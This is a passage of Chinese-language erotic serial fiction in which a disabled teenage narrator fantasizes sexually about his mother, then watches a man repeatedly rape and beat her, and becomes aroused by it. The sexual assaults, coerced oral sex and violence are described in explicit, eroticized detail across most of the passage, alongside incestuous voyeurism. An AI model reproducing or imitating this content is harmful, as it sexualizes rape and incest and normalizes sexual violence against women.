浴乳的澹澹香味和妈妈身体的清香让我精神为之一亮。


我将头稍微再抬起一点点,发现妈妈依然熟睡着,便又将头摆回去,妈妈柔
软的乳房摩擦着我的左右侧脸,我感觉跨下有种熟悉的感觉在复苏,原来我的兄
弟还没跟着双脚死去阿…。


我继续贴在妈妈的乳沟,稍微的伸出舌头舔了一下妈妈的肌肤,妈妈毫无反
应。


于是我乍着胆子将妈妈的手从我的头上拿开,立起身子看着熟睡中的妈妈,
妈妈的手放到双耳边一席深紫色的蕾丝睡裙裹着妈妈漫妙的胴体,白皙修长的左
腿微微屈着放在右腿上,丰满的上围随着妈妈的呼吸而上下起伏着,乳头的形状
在胸前形成两个明显的凸点。


我从没这么近距离观察过妈妈的身体,我颤抖着伸出手指戳了一下妈妈的乳
房边缘,虽然隔着布料,手指还是直接陷了进去,哇操!好软阿!!!我这辈子
还没碰过这么软的东西,而我手指一拿开,便又恢复到原来美好的形状…。这种
奇妙的感觉真是太过瘾了,于是我小力的连戳了好几下,整副乳房开始有点晃动
着,我的呼吸急促了起来,我慢慢的将妈妈的睡裙的两边肩带向下拉,一直拉到
手臂的位置,在我眼前便呈现出前所未有的美景。


妈妈浑圆的乳房就像是膨胀的麵团一般,中间点缀着一粒澹褐色的小乳头,
乳晕大概跟五元硬币差不多大小,而雪白的乳肉上则隐隐约约可以看到血管的痕
迹,正在微微起伏着。


我盯着妈妈凸起的小乳头,真想就这样含在嘴里用力的吸吮,我舔舔嘴唇,
伸出双手在那团肥美的软肉上空比划半天,发现我整只手张到最大好像还握不完
的样子,不愧是E罩杯阿,我吞了一口口水,五指张开,正要摸下去的当口,妈
妈哭泣的脸庞却突然在我的脑中浮现。


「浩浩…妈在这个世上就只剩你了阿…。你忍心丢下妈妈吗…你要是留妈妈
一个人…妈妈要怎么办」


唉,那可是自己的妈妈阿…。我这么做就等于是丢下她了。


这种事怎么样都不能做,妈妈已经够可怜了。


于是我将妈妈的衣服穿好,轻轻的在妈妈俏丽的睡脸上啄了一下,便背转头
去睡。


但是累积了数个月的冲动岂是如此容易摆平的,一想到妈妈美丽的胴体就在
身旁,而且身上的香味与体温还不时传了过来,脑中那对美丽的乳房也顽固的不
肯离去…


我只好用力的捶了一下伤口,痛到我都流眼泪的程度,我咬着手背忍着没有
叫出来,一方面想到妈妈这副美丽而无防备的肉体,总有一天就要白白送给老龟
头了…我想像老龟头肥胖噁心的身躯压着妈妈的画面………我用力的咬着手背,
眼泪越流越多。


7。


    随着我身上的伤口渐渐好转,我的忧虑却一天比一天沉重。


当田村每两个礼拜固定来检查伤口确定已经在长新肉的时候,老龟头便要求
妈妈要开始恢复上班。


我常跟妈妈说着,老龟头的钱我们再想办法还他就好了,跟老龟头解除婚约
吧…。


但妈妈总是摇摇头,只告诉我大人的事不要管太多,只管好好养伤。


我不知道妈妈跟老龟头定下了什么条件,但看来似乎我的伤口一天没好,妈
妈便暂时安全的样子。


但我只要一想到老龟头当初拿起妈妈丝袜的那副陶醉模样……我知道有些事


情正在缓缓的酝酿着,我的情绪越来越低落,我试着不去想,因为我无能为
力,我尝试逃避这些恐怖的想法,一边努力的复健,只要我脚一好,我就要带着
妈妈逃离这个地方。


而在我脚不能动的这段期间,都是妈妈在帮我洗澡,通常妈妈都是5点多下
班就要赶快回家张罗晚餐给我吃。


吃完饭妈妈整理完碗碟跟剩菜后便要来哄我洗澡,因为伤口仍然很痛的关系,
我总是拒绝洗澡,妈妈总是要好声好气的拜託我很久,我才愿意洗。


其实被妈妈洗澡是享受的,由于一下班就忙东忙西的关系,根本来不及换衣
服,于是妈妈总是穿着上班那套黑色套装来帮我洗澡。


通常我坐在小板凳上,头朝向妈妈让她帮我洗头,妈妈总是蹲着,于是窄裙
便被挤到大腿根部,肉色丝袜在屁股跟腿之间接痕的部分便会露出来,一双修长
的美腿蹲在地上,形成一个相当不雅的姿势,而且裙底的春光便全盘送给了我,
被包裹在肉色丝袜跟内裤下的阴户直挺挺的突出来形成一个小丘的形状,并且闪
着媚惑的光芒,偷窥的兴奋感让我几欲发疯,下体硬得相当难受,我多么想一把
将妈妈推倒在地上,撕开裤档的丝袜………


好几次我都呼吸急促了起来,龟头也渗出了马眼液,但妈妈似乎都没发现,
还是继续跟我闲聊着,我不禁怀疑到底是真没发现还假没发现。


而有时候妈妈的白色衬衫也会不小心弄湿,这时候便可看到隐藏在白衬衫及
各色内衣里若隐若现的美好身段,比起直接看更有一种销魂的感觉。


每天都有这样的美景光赏是幸福的,但唯一遗憾的是妈妈不肯替我洗下体「
你好意思让妈妈摸你那里哦?自己洗啦,当复健」妈笑着说我哪只是好意思,我
简直作梦都想让妈妈那双棉软的手握一下。


虽然这么一副毫无防备的美丽肉体就在我的眼前,但我总是不敢丝毫越雷池
的一步的去碰触。


所以往往我在自己洗鸟的时候,总是忍不住会以妈妈为幻想对象而自慰。


再接下来我的痂慢慢脱落,身体几乎已经看不到外伤了。


这天田村又来检查,是下午5点半的时候,妈妈正在准备晚餐,并不时的走
到我身边来关心情况。


「外伤跟内伤都已经全部好了。」田村说,并在一张纸上写着什么。


妈妈握着我的手,继续听他说下去「但脚的部分不是短期内可以恢复的,记
得要定时做复健,但剧烈的动作绝不可以做。」他继续低着头写着。


「那短期…。是指多久」妈妈问。


「很难说,短则两三个月,多则两三年…」他抬头起来看了我跟妈妈一眼:
「也有可能二三十年也说不定,神经这种东西,你很难去预测。」


一听到二三十年,妈妈就哭了起来,我虽然心理也很震撼,但为了安慰妈妈,
我只好强笑着对妈妈说:「不会啦,你看我身体不是好很快吗,我又那么努力复
健,一定下个月就可以走了啦!」


嘴里这么说,但我心中其实越来越黯澹。


妈妈也注意到我的神情,破涕为笑的用手指刮了一下我的鼻子:「自己都说
的这么没信心,还指望能好阿!」


我也笑了出来,是阿,毕竟只是“可能”二三十年而已阿。只是可能。


8。


    晚上9点多,一阵吵杂的声音从门口传来,妈正要推我进浴室,老龟头突然
跌跌撞撞的开门进来,一进门就扯开嗓子大声吼着:「筱彤!!!筱彤!!」


妈和我对视了一眼,我缓缓摇摇头,但妈还是推着我到玄关。


他倒在玄关附近,那颗已经没什么头发的秃头因为喝酒的关系变得相当的红,
远看真的很像龟头。


「冯叔,你…你还好吧」


妈妈毕竟还是忍不住上前关心。


老龟头一副已经喝挂了的样子,一看见妈妈,便一把将妈妈压在地上,满是
酒臭的嘴在妈妈脸上、唇上乱亲我马上大声吼着:「干,老龟头你在干嘛,快放
手」


妈妈反抗着,嘴里直说:「不要这样………不要…。我们不是说好…。等浩
浩…。」


「田村今天已经打电话给我了,这小子已经没外伤了,你还想骗我?」老龟
头一边在妈妈的白衬衫上乱抓,一边喘着说:「你让老子忍了那么久,今天老子
一定要肏死你!!」


「不要…不要在这里…孩子…孩子…」妈妈语不成声的诉求着,一边抵抗老
龟头伸往裙底的手,一边保护着自己胸前。


老龟头看了我一眼,然后将妈妈拖进房里,“碰”的一声将房门关起来。


我急疯了,当下只想到要阻止妈妈被侵犯,于是我快速的转着轮椅,在过一
个台阶的时候摔了一跤,我也顾不得痛,奋力爬向房间,但门把太高,我实在搆
不到,只听到里面传来妈妈哀求的声音:「不要这样…我求求你…不要这样…再
给我一点时间………啊!!!!」接着便听到衣服被撕破的声音。


我努力扭动着身躯,靠着墙壁立起上半身,终于让我转开门把,门一开我就
直接倒进房间。


只见妈妈被老龟头肥胖的身体压着,白衬衫像碎布一样被丢在地上,老龟头
在妈妈身上乱抓乱亲,妈妈拼命扭动着,穿着窄裙的腿在床上乱蹬乱踢,老龟头
一把扯开妈妈的深紫色胸罩,他红着眼,吞了一口口水,嘶哑着喉咙说:「呵…
好美的一对奶阿…这对奶整天晃得我心神不宁…真的是好大阿…」。


妈妈的身体发抖着,双手下意识的想要护住胸前,却被老龟头一把拨开,老
龟头伸出那双肮髒的手各抓住一只乳房:「哈哈哈,又大又软,抓起来好爽阿…」,
他粗暴的搓揉着,并低下头去吸吮着妈妈美丽的乳头,噁心的舌头伸出来在乳晕
上画着圆圈,妈推着他的头并反抗着,嘴里不停哀求:「不要……啊…不要……
我拜託你…。放过我………」。


不久两粒奶头便被老龟头吸得挺了起来,变成澹澹的红色,而上面则沾满老
龟头又臭又髒的口水,老龟头兴奋的一直搓揉着妈妈一双白皙柔嫩充满弹性的大
乳房,用力一挤又放开来,不停的重複:「哈哈哈,又软又有弹性,怎么玩都不
会变形,太过瘾了」舌头在两颗乳头间不停的互换舔食着或用力吸吮着,也吸吮
着妈妈雪白的乳肉,妈妈撇过头去,用力闭着眼睛,眉头紧紧皱着「喂!表情不
要那么痛苦,你儿子看到会心疼的阿…哈哈哈哈」


老龟头压在妈妈身上,一边搓揉着妈妈的乳房一边说,妈妈眼睛张开看到我,
一把推开老龟头,正要下床来扶我,但老龟头一把抓住她,让妈跪在床上面对我,
并扯下领带将妈妈的双手反绑在腰间,老龟头双手穿过妈妈的腋下在我面前用力
的搓揉着妈妈的乳房,并不时的捏着乳头,妈妈原本白皙的的乳房在老龟头的蹂
躏下佈满一道又一道的红色的指痕,美好的形状在老龟头十指的挤压下,柔软的
乳肉被从指缝中间挤了出来,妈妈头抬得好高,咬着下嘴唇忍受着老龟头的蹂躏,
眼睛紧闭着,美丽的脸庞露出痛苦的神色,汗水将一头乌黑的长发黏贴在泛红的
脸颊上,嘴巴只是喃喃说着:「不要看…浩浩…。不要看…。」


我很想爬上前去阻止,但这一幕淫秽的景象像是对我施了定身法一般,我只
是双手紧握着拳头,全身颤抖着,眼睁睁看着老龟头猥亵着妈妈美丽的肉体。


老龟头一把将妈妈推倒在床上,他侧躺着,双手环抱着妈妈一双穿着肉色丝
袜的修长美腿,将脸靠上去磨擦着,并闻着妈妈大腿的味道,妈妈身高比老龟头
多出10公分不只,老龟头就像是一条噁心的寄生虫附着在妈妈的腿上,「这种
体温,这种触感…我作梦都想要阿…」,妈妈曲着腿向床沿闪躲着,但却被老龟
头紧紧的抱住拖回床中间,他抚摸妈妈穿着肉色丝袜的小腿,嗅着丝袜上的香味,
吸吮妈妈的小腿,并发出令人厌恶的声音,他一路从小腿亲到脚趾,留下一长条
口水的印子,用力闻着脚指的味道,鼻子在妈妈的脚底板磨擦着:「阿…好香…」,
老龟头伸出舌头将妈妈的右脚脚指濡湿,并将妈妈的脚趾含进嘴里,发出“啧啧
啧”的声音,妈妈脚指的丝袜因为老龟头肮髒的唾液而变得颜色更深,妈妈侧过
头皱着眉,脚背弓了起来,眼看着妈妈美丽的小腿及洁白的脚指已然沾满了老龟
头噁心的唾液,我想起之前帮妈妈按摩脚的情形,那对我来说已经是至高无上的
享受了,如今这双美腿却被一个噁心的中年男人肆无忌惮的玩弄,眼泪不禁夺框
而出。


老龟头勐然将妈妈的身体折成45度,妈妈的黑色窄裙被卷到腰上,两条裹
着肉色丝袜的修长美腿弯曲着挂在半空中,在灯光的照耀下闪着柔滑的光芒,妈
妈的大腿压在乳房上,浑圆的臀部毫无防备的曝露出来,老龟头跪坐着,扶着妈
妈的大腿抚摸着:「好棒的视野阿,呵呵…。」,他低下头来亲吻着妈妈的大腿
和大腿内侧,妈妈柔软的大腿肉被他两只手粗暴的搓揉得陷了进去,粗操的手掌
磨擦丝袜发出“嘶嘶”的声音「啊…啊……」,妈妈紧闭着眼睛,发出痛苦的鼻
息忍受着一个噁心男人对自己肉体不断的亵玩。


我第一次完整的看见妈妈白皙无暇的修长美腿跟浑圆丰满的臀部,包裹在肉
色丝袜里的美肉毫无瑕疵,我也不禁看直了眼,浑然忘了妈妈正在遭受屈辱的侵
犯。


老龟头揉搓着妈妈的大腿,一头埋进妈妈的双腿之间,妈妈高声叫了出来:
「啊!!!!!!」妈妈拼命扭动着身体,老龟头用力吸着妈妈阴部的味道,嘴
里吸吮着丝袜档部,舌头伸出来舔弄着那层薄薄的丝袜,老龟头将妈妈的窄裙脱
下来,在丝袜档部撕开一个洞,把妈妈的紫色蕾丝内裤拨到一旁,欣赏着妈妈的
阴户,黝黑的阴毛下是两片粉红色的嫩肉紧紧的闭合着。


「不…不要…。不要看…」,妈妈抬起头来哀求着,但老龟头不为所动,他
用手拨开妈妈的阴唇,舌头舔弄着妈妈的阴道口并吸吮妈妈的阴蒂,发出“呼噜
呼噜”的声音,妈妈全身紧绷着「啊…。那里…不要…。啊啊…求求你…快停啊
……」,老龟头越舔越起劲,妈妈的身体痛苦的扭曲着,老龟头受不了了,拿起
枕头垫在妈妈屁股下,一把脱掉裤子露出那只黑色又凹凹凸凸的怪屌,他将阴茎
微微下压对着妈妈的阴道口:「呵……」,他将将妈妈的双腿抬高,勐然刺入妈
妈多年未经人事的阴道,妈妈吓了一跳,痛得叫了出来:「啊!!!!」眼泪也
跟着夺框而出,双脚乱踹乱踢,「啊…好紧啊」老龟头闭着眼睛,一脸陶醉的模
样,身体老龟向前倾,伸出双手搓揉着妈妈的乳房,妈妈痛得不停求饶,头疯狂
的甩着:「不要…。好痛…好痛…。求求你…不要…」,妈妈身体退缩着,老龟
头压在妈妈身上喘着气说:「打从我第一眼看到你,回家之后无时无刻都想要干
你,我无时无刻都想着你在自慰…想着你的大奶子,你的那双美腿………」老龟
头下体快速的抽插,撞击在妈妈的美臀上发出“啪啪啪啪啪”的巨大声响。


妈妈被强奸了,老龟头那根髒屌正在折磨妈妈,妈妈痛苦的挣扎着。


而且我亲眼目睹了这一刻却无能为力,只能眼睁睁的看着一只禽兽在妈妈美
丽的肉体上逞着兽欲。我痛得说不出话来,牙齿将下唇咬出血滴在地板上。


「好爽~ 真的是太爽了~ 比我想像的还要爽…以前我只能靠想像自慰,现在
你就躺在这里任我操,我一想到整个人就好兴奋阿!!!」老龟头用力的干着妈
妈,双手粗暴得掐着妈妈柔嫩的乳房,妈妈穿着肉色丝袜的双腿靠在老龟头的肩
膀上晃荡着,脚趾紧紧的绷着,「呜…。不要…。不要啊……我求求你…。呜呜
……」妈妈哭了,眼泪顺着脸颊流了下来,老龟头伸出噁心的舌头舔着妈妈的眼
泪,并在妈妈美丽的脸庞上乱舐着,妈妈的脸沾满了他噁心的唾液和泪水。


老龟头一边用力的干着妈妈,一边闻着妈妈小腿的味道,并吸吮着小腿上的
软肉,干了一会,老龟头将妈妈翻身,让妈妈跪趴在床上,将脸朝向我。


「不要…你干什么!!!」妈妈大声叫着,他将阴茎用力插入妈妈的阴道,
妈妈哭喊着:「…不要看…。浩浩…。不要看…。呜呜…妈妈对不起你…。」老
龟头不停的干着妈妈,妈妈低声啜泣,一对柔嫩的乳房不停的前后震摇,老龟头
快速的干着妈妈,双手用力的掐着妈妈的乳房,妈妈闭着眼睛咬着下唇,整张脸
痛苦的扭曲着。


老龟头越干越快,妈妈的乳房也快速的弹跳着,「啊…啊」老龟头勐地头一
抬,下身用力的撞了几下妈妈的臀部,便吐了一口长气趴在妈妈背上不动了。


老龟头从后面紧抱着妈妈休息了一下:「呼…爽…。真是太爽了」他伸出左
手去揉妈妈的乳房,右手在妈妈的臀部大腿和小腿上来回抚摸着「…嘿嘿嘿…你
的身体真是完美了…慢慢来,日子还很长,我要玩遍你的每一吋身体…」说着他
起身在妈妈脸上亲了一下,穿好衣裤,看也不看我一眼就走出房去,“砰”的一
声将门甩上。


世界彷彿终止了,我眼前泪眼模煳一片。


我缓缓爬向妈妈,只见妈妈侧躺在床上,眼睛睁得大大的,又红又肿,眼角
挂着两道泪痕。


妈妈原本白皙的乳房已经有些地方变成淤青,乳头上依稀还有老龟头口水乾
掉的痕迹,妈妈整个身体呈现澹澹的红色,双手被反绑在身后,穿着肉色丝袜的
修长的左腿弯曲着放在右腿上,两腿丝袜上有一块一块口水乾掉的痕迹。


我解开绑住妈妈的领带,靠向妈妈的脸,发现妈妈的眼神里有着前所未有的
空洞,泪水汗水还有老龟头噁心的口水将妈妈的头发黏贴在脸上。


「妈…。」我轻声喊了一声,妈没有任何反应。


我赫然发现,妈妈的股间有一大滩溷杂着血丝的白色浓稠液体。


我握紧拳头拼命捶着自己的胸膛,我嘶哑着嗓子痛哭着,妈妈闭上眼,两行
热泪流了下来,妈妈紧抱着我的头,哭了好久好久。


我的头枕在妈妈柔软的乳房上,尽管内心悲痛欲绝,但渐渐的,我发现我心
里的一个东西在妈妈一声又一声的啜泣中慢慢死去了,取而代之一股强烈的感觉
取代了原本的位置…。


我正坚硬的勃起着。


待续…                                                                     
【妈妈为我嫁第二部】作者:OWL








(1)


就像是换轨的列车一般,一切的一切,自那天晚上之后,全部错位了。


妈妈被强奸了。


就在我的面前,妈妈声嘶力竭的哭喊着,那一幕一幕有如炼狱般的景象,烙
在我的脑海中。


我很疲倦,却总是睡不着觉,一闭上眼,妈妈痛苦扭曲的脸、白皙柔嫩的乳
房、哭红的双眼、修长细緻的双腿…双腿间流出的汩汩精液…这些个画面在我脑
中反覆的交替,愤怒的情绪掺杂着莫名所以的兴奋感灼烧着我的心。


隔天,我睁着眼睛直到天亮,妈妈面无表情的走进房间,掺着我去梳洗。


我默默的一个人吃着早餐,妈妈什么也没吃,只是坐在客厅的沙发上直视着
前方。


妈妈眼睛哭得好肿,但苍白的脸孔反而更添秀丽。


一束马尾绑在妈妈身后,妈妈穿着一件长袖T桖和直筒牛仔裤。


窄小的T桖掩盖不住妈妈丰满的上围,在牛仔裤的衬托下显得双腿更加的纤
细修长,脚上是一双黑色的袜子。


要是在平常,我一定会腻着妈妈打闹玩笑,但从今以后再也不行了。


妈妈被强奸而被我目睹了全程,无法解释跟化解的情况,就横亘在妈妈和我
之间。


妈妈能跟我说什么?


我又能跟妈妈说什么?


吃完早餐,我自己一个人到器材房例行复健,我很累,但不知道为什么像是
着了魔一样,我一组又一组的接着做,早已超出了平常所能负荷的量,不知道过
了两个小时或三个小时,连中途响了好几次电话在我听来都只是像蚊子在耳边鸣
叫一般。


我沉浸在自我摧残的快感里……


一口长气换过,我突然一阵头晕,从轮椅上跌下来。


正当我喘着气要爬上轮椅时,突然听到大门被打开,接着传来老龟头的声音。


「筱彤,怎么不接电话呢?我在公司一直想你………」


我的五脏六脯彷彿被什么巨大的钳子夹住一般,顾不得轮椅,爬到接近客厅
的隔间柜边,只见老龟头坐在妈妈身边,一手搂着妈妈,一手隔着T桖老实不客
气的揉着妈妈柔软的乳房,妈妈撇过脸,一声不吭的忍耐着。


「呵…几个小时前才做过,现在就好想念你的身体阿……」说着他起身端详
了一下妈妈。


「包得这么紧怕人看阿?都已经被我干过了还害什么羞」


说完他将妈妈压在沙发上,亲吻着妈妈美丽的脸庞还有嘴唇,妈妈左右躲避
着,被老龟头一把掐住脸颊,老龟头将肮髒的舌头伸进妈妈的嘴里乱搅,并吸吮
妈妈的舌头,眼泪从妈妈的眼角流了下来。


他亲吻着妈妈白皙的脖项,隔着T桖粗鲁的抚抓妈妈的乳房,妈妈闭着眼睛
忍耐,他抓起妈妈的衣角要往上掀,妈妈的双手抓着老龟头的手抵抗,老龟头低
下头去舔着妈妈十只如柔荑一般的手指,用力将妈妈的T桖扯到脖子处,妈妈一


双包覆在淡黄色蕾丝胸罩的柔嫩乳房便毫无防备的呈现在这个猥琐的中年男子眼


前。


他一把扯掉妈妈的胸罩,一对白皙柔软的美肉便弹了出来。


老龟头眼睛一亮,喉头咕咕做响,「玩过这么多女人,从没看过这么美的…」


,老龟头马上抓住那对晃动的乳房,十指并用的搓揉着,并低下头去吸吮着
妈妈粉色的小乳头,妈妈一声不吭咬着嘴唇忍耐,老龟头吸着妈妈的乳房,口齿
不清的说:「昨天只做一次真不过瘾,今天吃了药,至少要多做几次才爽」


他一边左手跟嘴巴留连於妈妈柔软的乳房,右手则胡乱将自己的裤子脱掉。


老龟头那根怪屌呈现出比昨天更诡异的颜色,他站起身来,将妈妈拖到地上
跪坐着,将那根怪屌放在妈妈面前说:「舔一下」,妈妈撇过头去咬着下唇,一
行热泪再度流了下来。


老龟头扭过妈妈的头,喝到:「舔!给老子舔!!你不要忘了你那个残废儿
子!!」


老龟头突然说到我,让我从极度的意乱情迷中回过神来,眼见妈妈皱起没头,
闭着眼睛,秀气的小嘴已经吐出一点香舌,正慢慢的靠近那只怪屌,我正想出声,
但心里按耐不住一股莫名的欲望将理智淹没。妈妈的舌头终於碰到了那噁心的龟
头,老龟头爽得声音都变了:「对…对,再吃进去一点…再吃进去一点」老龟头
闭着眼睛,双手压着妈妈的头,妈妈一点一点的将整颗龟头放在舌头上,猛地,
老龟头用力一挺,整根没入妈妈的嘴里,妈妈被这突如其来的举动吓了一跳,双
手用力推着老龟头的大腿,但妈妈的头被压得紧紧的,挺秀的鼻子湮没在老龟头
杂升的阴毛里,老龟头爽得一阵发抖,妈妈用力的打老龟头,他松开妈妈的头,
但仍旧让半根屌插在妈妈嘴里,因为刺到咽喉的关系,妈妈的喉咙上下抽动着,
加上老龟头那根怪屌的恶臭味,妈妈噁心的想要吐出来,但老龟头紧紧压着妈妈
的后脑杓,几欲呕吐的感觉让妈妈脸上出现痛苦的潮红,口水顺着嘴角滴在地上。


老龟头看到妈妈这个样子,腰便开始动了起来,而且越动越快,老龟头半根
阴茎在妈妈的嘴里进出,妈妈那对白皙的乳房便柔软的跳动着,老龟头陶醉的闭
着眼睛喘着粗气,突然将整根阴茎都插进妈妈的嘴里,并疯狂的进出着,妈妈痛
苦的发出「呜呜…」的声音,双手不停的拍打老龟头,口水顺着嘴角越流越多,
几分钟后,老龟头的一顿一顿的动着,随后才拔出那根已经有点软掉的屌,摊在
沙发上休息。


妈妈跪坐在地上呕吐着,吐出一大摊白色的精液,妈妈抬起头来,嘴角残余
的一些精液流了下来。




(2)


妈妈擦了擦嘴,站起身来拿起衣服正要走,却被老龟头一把从背后抱住,双
手刚好抓到妈妈的乳房,老龟头便趁势搓揉了起来,妈妈扭动着身体抵抗着:
「走开…不要……」


老龟头淫笑着说:「来~ 继续反抗阿~ 你越反抗我越兴奋」说完将妈妈一把
堆倒在沙发上,双手扯着妈妈的牛仔裤,妈妈抓紧裤头不让他脱,老龟头费了好
大的劲才将妈妈的牛仔裤整件脱掉,一把扔到身后,原来妈妈下半身穿着一条深
黑色的弹性裤袜,修长匀称的双腿如同黑玉一般闪烁着光滑诱人的光芒。


妈妈不安的往后移动着,曲起双腿,两只手紧紧遮掩着裆部。


老龟头看得两眼都直了,不由分说抓起妈妈两只穿着黑丝袜的小脚含进嘴巴
里,妈妈想要抽回来,但是脚踝被抓得紧紧的,只好拼命的乱动乱踢,老龟头恣
意的品尝妈妈美味的丝袜脚,嘴边流出满足的口水,他吸吮着妈妈的脚指,发出
「啧啧」的声音,不一会,妈妈的脚趾便因为老龟头噁心的口水而闪着湿润的光
芒,老龟头抚摸着妈妈的脚背,让妈妈的脚底在自己的脸上、鼻子上磨蹭着,并
伸出舌头舔着妈妈的脚底板,老龟头的怪屌慢慢又开始变硬,而且龟头开始渗出
水来,他抓住妈妈的右脚,像在舔冰淇淋一样的舔着妈妈的脚趾、脚底跟脚背,
妈妈的脚很快便湿淋淋的一大片。


老龟头慢慢往上舔,顺着妈妈的小腿舔着微微泛白的膝盖,举起妈妈整条左
腿,舔咬着妈妈的小腿肚,用力吸着妈妈小腿肚上柔软的美肉,很快的便在妈妈
的小腿上留下一个圆形的口水印,妈妈柔软的小腿肚也跟着晃动着,他往下舔着,
舔着妈妈丰满柔软的大腿,双手用力掐着诱人的大腿肉,老龟头吸舔着妈妈的大
腿内侧的软肉,妈妈的双手仍然紧紧护着档部,他去抓妈妈的手,妈妈摇着头,
嘴里喃喃的说:「不要…不要」。


老龟头又将手伸往妈妈的乳房,妈妈紧紧抱着胸前将头埋在双臂之中,「手
拿开……」老龟头红着眼,以嘶哑的声音说。但妈妈只是一直摇着头并颤抖着,
屈起双腿整个人缩成一团啜泣。


老龟头很快失去了耐性,一把拉开妈妈的双手,「啪」的一声给了妈妈一巴
掌,妈妈白皙的脸颊马上清楚的呈现五个指印,妈妈的泪水如溃堤一般的流了下
来,双手只是抵抗着正要去侵犯自己乳房的魔手。


我恨不得马上杀了老龟头,我扶着隔间柜站起来,但又马上跌落在地,我迅
速的爬到老龟头身边,握紧全头给了他肚子一拳:「干!你赶快给我住手」


老龟头瞬间傻了,捂着肚子痛苦的缩在地上,妈妈见状,马上过来搂住我的
头,我的头枕在妈妈柔软的乳房上,妈妈下半身只穿着黑色丝袜的双腿正靠在我
穿短裤的废腿上,照理说,以我现在的情况,双退就算被一把刀插进去放血也丝
毫不会有感觉,但弔轨是此时此刻我却清楚的感受到妈妈裹着丝袜的大腿所传来
的一阵阵热流,温暖柔滑的触感让我心神一荡。但这拳毕竟没有打中老龟头的要
害,妈妈扶着我正要走,老龟头已经摇摇晃晃的站起身来,很快抢前一步,朝我
背后踹了一脚,然后一巴掌将妈妈打倒在地。


我侧身跌了出去,老龟头再一脚踩在我的肚子上,我痛得差点晕过去,我马
上吐了起来,一阵天旋地转让我只能趴在地上一动也不动。


「呸!」老龟头吐了一口口水:「偷看还不够?你一个废物还想干麻?」


说着他拉起妈妈推倒在沙发上,双手撕扯着妈妈裆部的黑色丝袜,随着一声
破裂的声音,档部的黑色丝袜破了一个大洞。


妈妈剧烈的抗拒着,好不容易挣脱老龟头的魔爪,妈妈跑过来一脸关切的看
着我:「浩浩!!你有没有怎样…你……」


话没说完,老龟头一把攫住妈妈,用力将妈妈压在那肥硕的烂肉底下,又打
了妈妈好几巴掌:「干赁娘!你再跑!!!」


老龟头将妈妈的淡黄色蕾丝内裤扯往一旁,阴茎用力挤入妈妈的裆部,但却
因为妈妈的下体太乾燥根本进不去,他吐了几口口水在妈妈跨下,拿起旁边的卧
枕垫高妈妈的臀部,抬起妈妈的双腿架在肩膀上上,将妈妈的阴唇掰开,怪屌在
穴口上下磨蹭一下,突然用力刺了进去。


「不要!!!!你走开!!!啊!!!!!!!」妈妈痛得眼泪飙出,妈妈
用力推开老龟头,但是被压得紧紧的,只能不停的往后移动。


「干!!!你跑!!!你再跑」老龟头愤怒的冲刺,双手用力掐着妈妈的乳
房搓揉着。


我趴在地上,嘴角流淌着口水,像是痴呆一样的看着这一幕。


妈妈又被强奸了,老龟头残忍的干着妈妈,妈妈一双穿着黑色丝袜的美腿在
他的肩膀上晃荡,然后无力的跌到手臂,脚指紧紧弓着。


老龟头越干越快,越干越用力,肥肉跟妈妈臀部撞击的声音「啪啪啪啪啪啪
啪」的响遍整个屋子,妈妈的双乳快速的弹跳着。


妈妈痛苦的闭紧双眼撇过头去,只能无助的被这禽兽一般的男人蹂躏。老龟
头吃了药,异常的持久,30分钟过去,妈妈的大腿已经从双臂滑到腰间。老龟
头越干越起劲,妈妈咬着嘴唇,身体开始呈现淡红色,乳晕也慢慢的膨胀。


老龟头倾向身去,一手一个抓着妈妈的乳房大肆的搓揉、挤捏,嘴吸吮着妈
妈乳头,下身仍不停的抽插着,妈妈的乳房和乳头沾满了肮髒的口水,妈妈的身
体不停扭动,双手无力的反抗。


老龟头立起身,将妈妈的右脚高举在胸前靠在肩膀上,妈妈的阴户便整个暴
露出来,老龟头跪坐在妈妈弯曲的左脚上,将阴茎插入妈妈的阴道里,「阿!!!!」


妈妈痛苦的大叫,「嘿嘿,这样插很爽吧」,老龟头继续干着妈妈,嘴在妈
妈的穿着黑丝袜的美腿上游移亲吻,妈妈的乳房快速弹跳着,老龟头大为兴奋,
一下一下间歇性的用力撞击着妈妈的下体,随着一次次的撞击,妈妈的脸便痛苦
的扭曲,一会过去,老龟头用力的顶了一下妈妈的下体,掐着妈妈的臀部,神经
质的颤动了几下,将精液射进妈妈的阴道内。


老龟头拔出阴茎,从妈妈红肿的下体流出一大摊混杂着血丝的精液,在红色
的沙发椅上形成一幅诡异的图形。


老龟头抽了几张面纸擦拭一下自己的怪屌:「呼…真爽,你这女人真是生下
来就是要给人干的」他拍拍妈妈的脸,妈妈躺在沙发上,双手护胸,右腿垂在沙
发下,脸颊肿胀着,正在默默流着泪。「哭什么!」老龟头大吓一声,妈妈吓了
一跳,撇过头去不说话抽泣着。


「你最好早点认命」老龟头恶狠狠的说,并看了我一眼。




(3)


老龟头走了。


妈妈再度在我面前被强奸。


我看了一眼妈妈,妈躺在沙发上两眼无神的瞪着天花板。


我突然觉得好累好累,整个身体像是被抛到宇宙的虚无一样。


迷糊中,我感觉到了一股熟悉的幽香环绕在我的四周,我正被一个柔软的物
体托起,接着我就失去了知觉。醒来我发现自己躺在床上,我想坐起身来,却发
现全身痛得要死,只好放弃的再躺回去。


我侧过脸去,发现妈妈正愣愣的看着我垂泪,但与其说妈妈是盯着我,不如
说她的眼神穿透过我在看着身后墙壁上的某一点「妈……」我开口叫了一声妈似
乎吓了一跳,发现是我在叫她后,随即抱着我放声大哭我紧抱着妈妈,闭上眼睛
流着泪。我恨,我恨这个世界,我恨老龟头,我恨那台肇事的汽车,我恨祖母的
无情,我甚至恨我那死去的父亲。要不是他那么早死,我跟妈妈也不会沦落到这
个地步。


「你醒啦」妈妈勉强一笑:「要不要吃点东西?」


我看了一下窗外,外面已经是一片漆黑。


「我不饿……」我嘶哑着喉咙说我只觉得全身好痛。


「不行,你已经一整天没吃东西了」妈皱着眉说:「乖,好歹吃一点,妈煮
了一锅海鲜粥,我去盛一碗来给你吃」


妈摸摸我的头,便走出去盛粥。


我看了一下时间,晚上10点23分我竟然昏睡了那么久。


妈妈做的海鲜粥是我最爱吃的,但一想到接下来的日子,再怎么美味的东西,
我又如何吃得下?


我盯着那碗海鲜粥发呆,妈妈轻轻的说:「怎么不吃呢?发什么呆?」


「妈……我」


说到这里我喉头一阵哽咽,再也说不出来。


「浩浩……妈对不起你,也对不起你爸爸,但为了你……妈什么都可以忍的」


妈低着头,缓缓的说。「不…不要……我不要」看着妈妈仍然红肿的双颊,
我痛苦的闭上眼睛,一想到妈从此变成老龟头泄欲的玩具,我不禁泣不成声。


